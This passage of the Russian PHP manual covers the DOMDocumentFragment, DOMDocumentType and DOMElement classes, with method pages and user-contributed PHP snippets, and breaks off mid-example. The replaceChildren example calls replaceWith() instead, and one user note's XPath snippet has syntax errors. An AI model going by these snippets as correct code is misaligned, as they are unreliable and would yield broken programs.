<?xml version="1.0"?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
  <title>Books of the other guy..</title>
  <para>
    <row xml:base="/home/didou/book.xml">
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
    <row xml:base="/home/didou/book.xml">
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
  </para>
</chapter>

User Contributed Notes

nicolas_rainardNOSPAM at yahoo dot fr 12-Jul-2007 04:56
If you use the loadXML() method instead of the load() one (let's say, to process the XML string before loading and parsing it), you will have problems with xinclude(), because the parser will not know where to find the files to include.
Using chdir() before xinclude() will not help.

The solution is to set the documentURI property of the DOMDocument object accordingly to it's original filename, and everything will work fine !

<?php

$xml = file_get_contents($file);
$xml = do_something_with($xml);

$doc = new DOMDocument;
$doc->documentURI = $file;
$doc->loadXML($xml);
$doc->xinclude();

?>


Класс DOMDocumentFragment

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMDocumentFragment extends DOMNode implements DOMParentNode {
/* Свойства */
public readonly ?DOMElement $firstElementChild;
public readonly ?DOMElement $lastElementChild;
public readonly int $childElementCount;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct()
public append(DOMNode|string ...$nodes): void
public appendXML(string $data): bool
public prepend(DOMNode|string ...$nodes): void
public replaceChildren(DOMNode|string ...$nodes): void
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

childElementCount

Количество дочерних элементов.

firstElementChild

Первый дочерний элемент или null.

lastElementChild

Последний дочерний элемент или null.

Список изменений

Версия | Описание
8.0.0 | Добавлены свойства firstElementChild, lastElementChild и childElementCount.
8.0.0 | Класс DOMDocumentFragment теперь реализует интерфейс DOMParentNode.

Содержание

  • DOMDocumentFragment::append — Добавляет узлы после последнего дочернего узла
  • DOMDocumentFragment::appendXML — Добавление необработанных данных XML
  • DOMDocumentFragment::__construct — Конструктор объекта DOMDocumentFragment
  • DOMDocumentFragment::prepend — Добавляет узлы перед первым дочерним узлом
  • DOMDocumentFragment::replaceChildren — Заменяет дочерние элементы фрагмента

User Contributed Notes

peter at softcoded dot com 03-May-2017 03:31
DOMDocumentFragment makes it easy to add (or replace)
nodes. Individually creating nodes using DOM methods can
be tedious. Instead, do something like this:

/**
* Create fragment of colgroup
* @param DOMDocument $doc The DOMDocument
* @return DOMDocumentFragment
*/
function makeFragment($d){
  $chunk = <<<HTML
  <colgroup>
    <col class="c1"/>
    <col class="c2"/>
    <col class="c3"/>
    <col class="c4"/>
  </colgroup>
HTML;
  $fragment = $d->createDocumentFragment();
  $fragment->appendXML($chunk);
  return $fragment;
}
Ricki 29-Mar-2011 06:00
DOMDocumentFragment only appears useful if created from a parent DOMDocument eg.

1. $dom = new DOMDocument("1.0","UTF-8");
2. $docFrag = $dom->createDocumentFragment();
3. Now append items to $docFrag
4. Graft $docFrag contents back onto $dom at the desired location

Conversely taking this approach:
1. $dom = new DOMDocument("1.0","UTF-8");
2. $docFrag = new DOMDocumentFragment();
3. Now append items to $docFrag

...will fail on step 3 with a "read only" error as $docFrag is not created as a child of  DOMDocument.

I'm not sure of the reason for this: on the web people have cited security, and others have cited poor design however whatever the reason, it is really limiting when wanting to encapsulating generic independent DocumentFragments into classes for easy grafting to the desired tree. The only workarounds i have seen look expensive from a performance perspective and cumbersome from a coding perspective ie. create a  dummy $dom for temporary use.

(This is valid as of PHP 5.3) I've put this here as i've wasted a lot of time finding it out - I hope this saves others some heartache.

Using new DOMDocumentFramt
matthijs at stdin dot nl 29-Mar-2011 03:06
Note that DOMDocumentFragment is a bit special when it's added to another node. When that happens, not the fragment itself is added as a child, but all of the children of the fragment are moved over to the new parent node.

For example, consider this script:

<?php

/* Create a document and a fragment containing a single node */
$doc = new DOMDocument();
$fragment = $doc->createDocumentFragment();
$fragment->appendChild($doc->createElement('foo'));

/* Now, the foo node is a child of the fragment */
var_dump($fragment->firstChild);

/* After appending the fragment to another node, the children of the
 * fragment will have been transfered to that node (and the fragment is
 * not present in the children list!) */
$doc->appendChild($fragment);
/* So the fragment has no children anymore */
var_dump($fragment->firstChild);
/* But $doc has a single child, which is the foo element, not the
 * fragment */
var_dump($doc->childNodes->length);
var_dump($doc->firstChild);

?>

This produces the following output:

object(DOMElement)#3 (0) {
}
NULL
int(1)
object(DOMElement)#3 (0) {
}


Добавляет узлы после последнего дочернего узла

  • « DOMDocumentFragment
  • DOMDocumentFragment::appendXML »
  • PHP Manual
  • DOMDocumentFragment
  • Добавляет узлы после последнего дочернего узла

DOMDocumentFragment::append

(PHP 8)

DOMDocumentFragment::append — Добавляет узлы после последнего дочернего узла

Описание

public DOMDocumentFragment::append(DOMNode|string ...$nodes): void

Добавляет один или несколько узлов nodes в список дочерних узлов после последнего дочернего узла.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMDocumentFragment::append()

Добавление узлов в фрагмент.

<?php
$doc = new DOMDocument;
$fragment = $doc->createDocumentFragment();
$fragment->appendChild($doc->createElement("hello"));

$fragment->append("beautiful", $doc->createElement("world"));

echo $doc->saveXML($fragment);
?>

Результат выполнения приведённого примера:

<hello/>beautiful<world/>

Смотрите также

  • DOMParentNode::append() - Добавляет узлы после последнего дочернего узла
  • DOMDocumentFragment::prepend() - Добавляет узлы перед первым дочерним узлом

User Contributed Notes

There are no user contributed notes for this page.


Добавление необработанных данных XML

  • « DOMDocumentFragment::append
  • DOMDocumentFragment::__construct »
  • PHP Manual
  • DOMDocumentFragment
  • Добавление необработанных данных XML

DOMDocumentFragment::appendXML

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

DOMDocumentFragment::appendXML — Добавление необработанных данных XML

Описание

public DOMDocumentFragment::appendXML(string $data): bool

Добавляет необработанные XML-данные в объект класса DOMDocumentFragment.

Это метод не является частью стандарта DOM. Он был разработан для упрощения процедуры добавления XML DocumentFragment в DOMDocument.

Если вы хотите следовать стандарту, вам нужно будет создать временный DOMDocument с фиктивным корнем, а затем пройти по всем узлам потомкам корневого узла XML-документа, чтобы добавить их.

Список параметров

data

XML для добавления.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Добавление XML-данных в документ

<?php
$doc = new DOMDocument();
$doc->loadXML("<root/>");
$f = $doc->createDocumentFragment();
$f->appendXML("<foo>text</foo><bar>text2</bar>");
$doc->documentElement->appendChild($f);
echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<root><foo>text</foo><bar>text2</bar></root>

User Contributed Notes

Thanks to Christoph. 07-Jun-2022 01:50
Strings such as " ' & < > may need to be escaped in advance.
In that case, you can use htmlspecialchars().
lpetrov(AT)axisvista.com 20-Jul-2007 05:45
Here is (maybe) a better example:
/**
* Helper function for replacing $node (DOMNode)
* with an XML code (string)
*
* @var DOMNode $node
* @var string $xml
*/
public function replaceNodeXML(&$node,$xml) {
 $f = $this->dom->createDocumentFragment();
 $f->appendXML($xml);
 $node->parentNode->replaceChild($f,$node);
}

Copied from the "PHP5 Dom Based Template" article at:
http://blog.axisvista.com/?p=35


Конструктор объекта DOMDocumentFragment

  • « DOMDocumentFragment::appendXML
  • DOMDocumentFragment::prepend »
  • PHP Manual
  • DOMDocumentFragment
  • Конструктор объекта DOMDocumentFragment

DOMDocumentFragment::__construct

(PHP 5, PHP 7, PHP 8)

DOMDocumentFragment::__construct — Конструктор объекта DOMDocumentFragment

Описание

public DOMDocumentFragment::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы перед первым дочерним узлом

  • « DOMDocumentFragment::__construct
  • DOMDocumentFragment::replaceChildren »
  • PHP Manual
  • DOMDocumentFragment
  • Добавляет узлы перед первым дочерним узлом

DOMDocumentFragment::prepend

(PHP 8)

DOMDocumentFragment::prepend — Добавляет узлы перед первым дочерним узлом

Описание

public DOMDocumentFragment::prepend(DOMNode|string ...$nodes): void

Добавляет один или несколько узлов nodes в список дочерних узлов перед первым дочерним узлом.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMDocumentFragment::prepend()

Добавление узлов перед корнем фрагмента.

<?php
$doc = new DOMDocument;
$fragment = $doc->createDocumentFragment();
$fragment->appendChild($doc->createElement("world"));

$fragment->prepend($doc->createElement("hello"), "beautiful");

echo $doc->saveXML($fragment);
?>

Результат выполнения приведённого примера:

<hello/>beautiful<world/>

Смотрите также

  • DOMParentNode::prepend() - Добавляет узлы перед первым дочерним узлом
  • DOMDocumentFragment::append() - Добавляет узлы после последнего дочернего узла

User Contributed Notes

There are no user contributed notes for this page.


Заменяет дочерние элементы фрагмента

  • « DOMDocumentFragment::prepend
  • DOMDocumentType »
  • PHP Manual
  • DOMDocumentFragment
  • Заменяет дочерние элементы фрагмента

DOMDocumentFragment::replaceChildren

(PHP 8 >= 8.3.0)

DOMDocumentFragment::replaceChildren — Заменяет дочерние элементы фрагмента

Описание

public DOMDocumentFragment::replaceChildren(DOMNode|string ...$nodes): void

Заменяет дочерние элементы фрагмента документа на новые узлы nodes.

Список параметров

nodes

Узлы, которыми будут заменены потомки. Строки автоматически преобразовываются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMDocumentFragment::replaceChildren()

Замена дочерних узлов новыми.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");
$fragment = $doc->createDocumentFragment();
$fragment->append("hello");

$fragment->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML($fragment);
?>

Результат выполнения приведённого примера:

beautiful
<world/>

Смотрите также

  • DOMParentNode::replaceChildren() - Заменяет потомков в узле
  • DOMDocumentFragment::append() - Добавляет узлы после последнего дочернего узла
  • DOMDocumentFragment::prepend() - Добавляет узлы перед первым дочерним узлом

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMDocumentType

(PHP 5, PHP 7, PHP 8)

Введение

У каждого объекта DOMDocument есть атрибут doctype, значение которого — либо null, либо объект класса DOMDocumentType.

Обзор классов

class DOMDocumentType extends DOMNode {
/* Свойства */
public readonly string $name;
public readonly DOMNamedNodeMap $entities;
public readonly DOMNamedNodeMap $notations;
public readonly string $publicId;
public readonly string $systemId;
public readonly ?string $internalSubset;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

publicId

Общедоступный идентификатор внешнего подмножества типов.

systemId

Системный идентификатор внешнего подмножества типов. Это может быть абсолютный URI.

name

Имя DTD, то есть имя, следующее сразу за ключевым словом DOCTYPE.

entities

Объект класса DOMNamedNodeMap, содержащий основные элементы, внутренние и внешние, объявленные в DTD.

notations

Объект класса DOMNamedNodeMap, содержащий обозначения, объявленные в DTD.

internalSubset

Внутреннее подмножество в виде строки или null, если его нет. Оно не должно содержать разделительных квадратных скобок.

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMElement

(PHP 5, PHP 7, PHP 8)

Обзор классов

class DOMElement extends DOMNode implements DOMParentNode, DOMChildNode {
/* Свойства */
public readonly string $tagName;
public string $className;
public string $id;
public readonly mixed $schemaTypeInfo = null;
public readonly ?DOMElement $firstElementChild;
public readonly ?DOMElement $lastElementChild;
public readonly int $childElementCount;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $qualifiedName, ?string $value = null, string $namespace = "")
public after(DOMNode|string ...$nodes): void
public append(DOMNode|string ...$nodes): void
public before(DOMNode|string ...$nodes): void
public getAttribute(string $qualifiedName): string
public getAttributeNames(): array
public getAttributeNode(string $qualifiedName): DOMAttr|DOMNameSpaceNode|false
public getAttributeNodeNS(?string $namespace, string $localName): DOMAttr|DOMNameSpaceNode|null
public getAttributeNS(?string $namespace, string $localName): string
public getElementsByTagName(string $qualifiedName): DOMNodeList
public getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList
public hasAttribute(string $qualifiedName): bool
public hasAttributeNS(?string $namespace, string $localName): bool
public insertAdjacentElement(string $where, DOMElement $element): ?DOMElement
public insertAdjacentText(string $where, string $data): void
public prepend(DOMNode|string ...$nodes): void
public remove(): void
public removeAttribute(string $qualifiedName): bool
public removeAttributeNode(DOMAttr $attr): DOMAttr|false
public removeAttributeNS(?string $namespace, string $localName): void
public replaceChildren(DOMNode|string ...$nodes): void
public replaceWith(DOMNode|string ...$nodes): void
public setAttribute(string $qualifiedName, string $value): DOMAttr|bool
public setAttributeNode(DOMAttr $attr): DOMAttr|null|false
public setAttributeNodeNS(DOMAttr $attr): DOMAttr|null|false
public setAttributeNS(?string $namespace, string $qualifiedName, string $value): void
public setIdAttribute(string $qualifiedName, bool $isId): void
public setIdAttributeNode(DOMAttr $attr, bool $isId): void
public setIdAttributeNS(string $namespace, string $qualifiedName, bool $isId): void
public toggleAttribute(string $qualifiedName, ?bool $force = null): bool
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

childElementCount

Количество дочерних элементов.

firstElementChild

Первый дочерний элемент или null.

lastElementChild

Последний дочерний элемент или null.

nextElementSibling

Элемент, следующий непосредственно за элементом, или null.

previousElementSibling

Элемент, предшествующий элементу, или null.

schemaTypeInfo

Пока не реализовано, всегда возвращает null

tagName

Имя элемента

className

Строка, представляющая разделенные запятой классы элемента

id

Идентификатор элемента

Список изменений

Версия | Описание
8.0.0 | Добавлены свойства firstElementChild, lastElementChild, childElementCount, previousElementSibling и nextElementSibling.
8.0.0 | Класс DOMElement теперь реализует интерфейсы DOMParentNode и DOMChildNode.

Примечания

Замечание:

Модуль DOM работает с кодировкой UTF-8. Для работы с другими кодировками пользуются функциями mb_convert_encoding(), UConverter::transcode() или iconv().

Содержание

  • DOMElement::after — Добавляет узлы после элемента
  • DOMElement::append — Добавляет узлы после последнего дочернего узла
  • DOMElement::before — Добавляет узлы перед элементом
  • DOMElement::__construct — Создаёт новый экземпляр класса DOMElement
  • DOMElement::getAttribute — Возвращает значение атрибута
  • DOMElement::getAttributeNames — Получает имена атрибутов
  • DOMElement::getAttributeNode — Возвращает узел атрибута
  • DOMElement::getAttributeNodeNS — Возвращает узел атрибута
  • DOMElement::getAttributeNS — Возвращает значение атрибута
  • DOMElement::getElementsByTagName — Возвращает элементы по имени тега
  • DOMElement::getElementsByTagNameNS — Получает элементы по локальному имени в заданном пространстве имён
  • DOMElement::hasAttribute — Проверяет, существует ли атрибут
  • DOMElement::hasAttributeNS — Проверяет, существует ли заданный атрибут
  • DOMElement::insertAdjacentElement — Добавляет соседний элемент
  • DOMElement::insertAdjacentText — Добавляет соседний текст
  • DOMElement::prepend — Добавляет узлы перед первым дочерним узлом
  • DOMElement::remove — Удаляет элемент
  • DOMElement::removeAttribute — Удаляет атрибут
  • DOMElement::removeAttributeNode — Удаляет атрибут
  • DOMElement::removeAttributeNS — Удаляет атрибут
  • DOMElement::replaceChildren — Заменяет дочерние элементы в элементе
  • DOMElement::replaceWith — Заменяет элемент новыми узлами
  • DOMElement::setAttribute — Добавляет новый или изменяет существующий атрибут
  • DOMElement::setAttributeNode — Добавляет новый узел атрибута в элемент
  • DOMElement::setAttributeNodeNS — Добавляет новый атрибут в элемент
  • DOMElement::setAttributeNS — Добавляет новый атрибут
  • DOMElement::setIdAttribute — Объявляет атрибуту c указанным именем тип ID
  • DOMElement::setIdAttributeNode — Объявляет указанному узлу атрибута тип ID
  • DOMElement::setIdAttributeNS — Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID
  • DOMElement::toggleAttribute — Переключает атрибут

User Contributed Notes

johnny 03-Mar-2014 03:48
Get html of a node
 $html .= $dom->saveHTML($node);
Janne Enberg 07-Nov-2013 11:02
This page doesn't list the inherited properties from DOMNode, e.g. the quite important textContent property. It would be immensely helpful if it would list those as well.
felix dot klee at inka dot de 26-Feb-2013 03:23
How to rename an element and preserve attributes:

<?php

// Changes the name of element $element to $newName.
function renameElement($element, $newName) {
  $newElement = $element->ownerDocument->createElement($newName);
  $parentElement = $element->parentNode;
  $parentElement->insertBefore($newElement, $element);

  $childNodes = $element->childNodes;
  while ($childNodes->length > 0) {
    $newElement->appendChild($childNodes->item(0));
  }

  $attributes = $element->attributes;
  while ($attributes->length > 0) {
    $attribute = $attributes->item(0);
    if (!is_null($attribute->namespaceURI)) {
      $newElement->setAttributeNS('http://www.w3.org/2000/xmlns/',
                                  'xmlns:'.$attribute->prefix,
                                  $attribute->namespaceURI);
    }
    $newElement->setAttributeNode($attribute);
  }

  $parentElement->removeChild($element);
}

function prettyPrint($d) {
  $d->formatOutput = true;
  echo '<pre>'.htmlspecialchars($d->saveXML()).'</pre>';
}

$d = new DOMDocument( '1.0' );
$d->loadXML('<?xml version="1.0"?>
<library>
  <data a:foo="1" x="bar" xmlns:a="http://example.com/a">
    <invite>
      <username>jmansa</username>
      <userid>1</userid>
    </invite>
    <update>1</update>
  </data>
</library>');

$xpath = new DOMXPath($d);
$elements = $xpath->query('/library/data');
if ($elements->length == 1) {
  $element = $elements->item(0);
  renameElement($element, 'invites');
}

prettyPrint($d);

?>
loopduplicate at burningtoken dot com 22-Apr-2011 02:34
This works perfect for me as well:

<?php $xml = $domElement->ownerDocument->saveXML($domElement); ?>
Anonymous 24-Dec-2010 08:22
you can use DOMNode::nodeValue
DOMElement inherits this public property.

$elem->nodeValue
dpetroff ( at ) gmail.com 04-Dec-2010 11:24
Hi!

Combining all th comments, the easiest way to get inner HTML of the node is to use this function:

<?php
function get_inner_html( $node ) {
    $innerHTML= '';
    $children = $node->childNodes;
    foreach ($children as $child) {
        $innerHTML .= $child->ownerDocument->saveXML( $child );
    }

    return $innerHTML;
}
?>
nawaman at gmail dot com 03-Sep-2009 08:08
The following code shows can text-only content be extracted from a document.

<?php
function getTextFromNode($Node, $Text = "") {
    if ($Node->tagName == null)
        return $Text.$Node->textContent;

    $Node = $Node->firstChild;
    if ($Node != null)
        $Text = getTextFromNode($Node, $Text);

    while($Node->nextSibling != null) {
        $Text = getTextFromNode($Node->nextSibling, $Text);
        $Node = $Node->nextSibling;
    }
    return $Text;
}

function getTextFromDocument($DOMDoc) {
    return getTextFromNode($DOMDoc->documentElement);
}

$Doc = new DOMDocument();
$Doc->loadHTMLFile("Test.html");
echo getTextFromDocument($Doc)."\n";
?>
Daniel Morlock 07-May-2009 09:22
It would be nice to have a function which converts a document/node/element into a string.

Anyways, I use the following code snippet to get the innerHTML value of a DOMNode:

<?php
function getInnerHTML($Node)
{
     $Body = $Node->ownerDocument->documentElement->firstChild->firstChild;
     $Document = new DOMDocument();
     $Document->appendChild($Document->importNode($Body,true));
     return $Document->saveHTML();
}
?>
patrick smith 04-Nov-2008 08:14
Although it may be preferable to use the dom to manipulate elements, sometimes it's useful to actually get the innerHTML from a document element (e.g. to load into a client-side editor).

To get the innerHTML of a specific element ($elem_id) in a specific html file ($filepath):

<?php
$innerHTML = '';
$doc = new DOMDocument();
$doc->loadHTMLFile($filepath);
$elem = $doc->getElementById($elem_id);

// loop through all childNodes, getting html
$children = $elem->childNodes;
foreach ($children as $child) {
    $tmp_doc = new DOMDocument();
    $tmp_doc->appendChild($tmp_doc->importNode($child,true));
    $innerHTML .= $tmp_doc->saveHTML();
}
?>
Pinochet 25-Oct-2008 05:33
Hi to get the value of DOMElement just get the nodeValue public parameter (it is inherited from DOMNode):
<?php
echo $domElement->nodeValue;
?>
Everything is obvious if you now about this thing ;-)
j DOT wagner ( AT ) medieninnovation.com 08-Oct-2008 09:11
Caveat!
It took me almost an hour to figure this out, so I hope it saves at least one of you some time.

If you want to debug your DOM tree and try var_dump() or similar you will be fooled into thinking the DOMElement that you are looking at is empty, because var_dump() says: object(DOMElement)#1 (0) { }

After much debugging I found out that all DOM objects are invisible to var_dump() and print_r(), my guess is because they are C objects and not PHP objects. So I tried saveXML(), which works fine on DOMDocument, but is not implemented on DOMElement.

The solution is simple (if you know it):
$xml = $domElement->ownerDocument->saveXML($domElement);

This will give you an XML representation of $domElement.
Severin 14-Sep-2008 06:18
I wanted to find similar Elements - thats why I built an Xpath-String like this - maybe somebody needs it... its not very pretty - but neither is domdocument :)

<?php

$dom->load($xmlFile))

$xpathQuery = '//*';
$xmlNodes = $xpath->query($xpathQuery);

$pathlist = array();
$attrlist = array();
foreach ($xmlNodes as $node) {

  $depth = $this->_getDomDepth($node);   //get Path-Depth (for array key)
  $pathlist[$depth] = $node->tagName;     // tagname

  $attrs = $node->attributes;
  $attr='';
  $a=0;
  foreach ($attrs as $attrName => $attrNode)  // attributes
            {
              if ($attrName !='reg')
              {
                if ($a++!=0) $attr .= ' and ';
                $attr .= '@'.$attrName.'='."'".$attrNode->value."'";
              }
            }

          $attrlist[$depth] = $attr?'['.$attr.']':'';

          $path = ''; for ($i=0;$i<=$depth;$i++) $path .= '/'.$pathlist[$i].$attrlist[$i];  // the xpath of the actual Element

    // ... now you can go on and user $path to find similar elements
    }
  }
}

 private function _getDomDepth(DomNode $node)
   {
     $r = -2;
     while ($node) {
       $r++;
       $node = $node->parentNode;
     }
     return  $r;
   }
?>
ae.fxx 18-Jul-2008 01:49
Hi there.

Remember to append a DOMNode (or any of its descendants) to a DOMDocument __BEFORE__ you try to append a child to it.

I don't know why it has to be this way but it can't be done without it.

bye


Добавляет узлы после элемента

  • « DOMElement
  • DOMElement::append »
  • PHP Manual
  • DOMElement
  • Добавляет узлы после элемента

DOMElement::after

(PHP 8)

DOMElement::after — Добавляет узлы после элемента

Описание

public DOMElement::after(DOMNode|string ...$nodes): void

Добавляет переданные узлы nodes после элемента.

Список параметров

nodes

Узлы, которые необходимо добавить после узла. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле, у которого нет родительского узла, теперь ничего не делает, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMElement::after()

Добавление узлов после элемента hello.

<?php
$doc = new DOMDocument;
$doc->loadXML("<hello/>");
$container = $doc->documentElement;

$container->after("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

